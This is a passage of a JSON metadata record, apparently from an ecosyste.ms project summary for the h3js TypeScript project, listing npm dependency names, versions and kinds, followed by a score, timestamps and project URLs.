"direct":false,"kind":"development","optional":false},{"id":6994685669,"package_name":"supports-preserve-symlinks-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685670,"package_name":"synckit","ecosystem":"npm","requirements":"0.8.4","direct":false,"kind":"development","optional":false},{"id":6994685671,"package_name":"syntax-error","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994685672,"package_name":"tachyons","ecosystem":"npm","requirements":"4.12.0","direct":false,"kind":"development","optional":false},{"id":6994685683,"package_name":"tapable","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"development","optional":false},{"id":6994685684,"package_name":"tar","ecosystem":"npm","requirements":"4.4.19","direct":false,"kind":"development","optional":false},{"id":6994685685,"package_name":"test-exclude","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":6994685686,"package_name":"text-table","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":6994685687,"package_name":"through","ecosystem":"npm","requirements":"2.3.8","direct":false,"kind":"development","optional":false},{"id":6994685688,"package_name":"through2","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":6994685689,"package_name":"through2","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":6994685690,"package_name":"through2","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"development","optional":false},{"id":6994685691,"package_name":"timers-browserify","ecosystem":"npm","requirements":"1.4.2","direct":false,"kind":"development","optional":false},{"id":6994685692,"package_name":"timestring","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":6994685693,"package_name":"tiny-glob","ecosystem":"npm","requirements":"0.2.9","direct":false,"kind":"development","optional":false},{"id":6994685694,"package_name":"tinybench","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":6994685695,"package_name":"tinypool","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"development","optional":false},{"id":6994685696,"package_name":"tinyspy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685697,"package_name":"to-fast-properties","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685698,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":6994685699,"package_name":"toidentifier","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685700,"package_name":"transform-ast","ecosystem":"npm","requirements":"2.4.4","direct":false,"kind":"development","optional":false},{"id":6994685701,"package_name":"tsconfig-paths","ecosystem":"npm","requirements":"3.14.1","direct":false,"kind":"development","optional":false},{"id":6994685702,"package_name":"tslib","ecosystem":"npm","requirements":"1.14.1","direct":false,"kind":"development","optional":false},{"id":6994685703,"package_name":"tslib","ecosystem":"npm","requirements":"2.4.0","direct":false,"kind":"development","optional":false},{"id":6994685704,"package_name":"tsutils","ecosystem":"npm","requirements":"3.21.0_typescript@4.9.4","direct":false,"kind":"development","optional":false},{"id":6994685705,"package_name":"tty-browserify","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":6994685706,"package_name":"type-check","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":6994685707,"package_name":"type-component","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":6994685708,"package_name":"type-detect","ecosystem":"npm","requirements":"4.0.8","direct":false,"kind":"development","optional":false},{"id":6994685709,"package_name":"type-fest","ecosystem":"npm","requirements":"0.20.2","direct":false,"kind":"development","optional":false},{"id":6994685710,"package_name":"type-fest","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"development","optional":false},{"id":6994685711,"package_name":"type-fest","ecosystem":"npm","requirements":"0.8.1","direct":false,"kind":"development","optional":false},{"id":6994685712,"package_name":"type-is","ecosystem":"npm","requirements":"1.6.18","direct":false,"kind":"development","optional":false},{"id":6994685713,"package_name":"typedarray","ecosystem":"npm","requirements":"0.0.6","direct":false,"kind":"development","optional":false},{"id":6994685714,"package_name":"typescript","ecosystem":"npm","requirements":"4.9.4","direct":false,"kind":"development","optional":false},{"id":6994685715,"package_name":"ufo","ecosystem":"npm","requirements":"0.8.6","direct":false,"kind":"development","optional":false},{"id":6994685716,"package_name":"ufo","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":6994685717,"package_name":"umd","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"development","optional":false},{"id":6994685718,"package_name":"unbox-primitive","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685719,"package_name":"unbuild","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685720,"package_name":"undeclared-identifiers","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994685721,"package_name":"universalify","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685722,"package_name":"unpipe","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685723,"package_name":"untyped","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"development","optional":false},{"id":6994685724,"package_name":"update-browserslist-db","ecosystem":"npm","requirements":"1.0.10_browserslist@4.21.4","direct":false,"kind":"development","optional":false},{"id":6994685725,"package_name":"upper-case","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994685726,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"development","optional":false},{"id":6994685727,"package_name":"url","ecosystem":"npm","requirements":"0.11.0","direct":false,"kind":"development","optional":false},{"id":6994685728,"package_name":"util-deprecate","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685729,"package_name":"util-extend","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685807,"package_name":"util","ecosystem":"npm","requirements":"0.10.3","direct":false,"kind":"development","optional":false},{"id":6994685809,"package_name":"util","ecosystem":"npm","requirements":"0.12.4","direct":false,"kind":"development","optional":false},{"id":6994685811,"package_name":"utils-merge","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685813,"package_name":"uuid-parse","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994685816,"package_name":"uuid","ecosystem":"npm","requirements":"8.3.2","direct":false,"kind":"development","optional":false},{"id":6994685817,"package_name":"v8-to-istanbul","ecosystem":"npm","requirements":"9.0.1","direct":false,"kind":"development","optional":false},{"id":6994685819,"package_name":"validate-npm-package-license","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":6994685869,"package_name":"vary","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685871,"package_name":"vite-node","ecosystem":"npm","requirements":"0.27.1","direct":false,"kind":"development","optional":false},{"id":6994685873,"package_name":"vite","ecosystem":"npm","requirements":"3.1.8","direct":false,"kind":"development","optional":false},{"id":6994685875,"package_name":"vitest","ecosystem":"npm","requirements":"0.27.1","direct":false,"kind":"development","optional":false},{"id":6994685877,"package_name":"vm-browserify","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685879,"package_name":"which-boxed-primitive","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685881,"package_name":"which-typed-array","ecosystem":"npm","requirements":"1.1.7","direct":false,"kind":"development","optional":false},{"id":6994685883,"package_name":"which","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685885,"package_name":"why-is-node-running","ecosystem":"npm","requirements":"2.2.2","direct":false,"kind":"development","optional":false},{"id":6994685887,"package_name":"word-wrap","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":6994685889,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":6994685891,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685892,"package_name":"xtend","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"development","optional":false},{"id":6994685895,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"development","optional":false},{"id":6994685896,"package_name":"yallist","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":6994685898,"package_name":"yallist","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685900,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.9","direct":false,"kind":"development","optional":false},{"id":6994685902,"package_name":"yargs","ecosystem":"npm","requirements":"16.2.0","direct":false,"kind":"development","optional":false},{"id":6994685904,"package_name":"yocto-queue","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false}]}],"score":31.595712844842915,"created_at":"2026-05-14T05:04:25.774Z","updated_at":"2026-05-17T07:10:09.264Z","avatar_url":"https://github.com/h3js.png","language":"TypeScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/372073","html_url":"https://summary.ecosyste.ms/projects/372073"}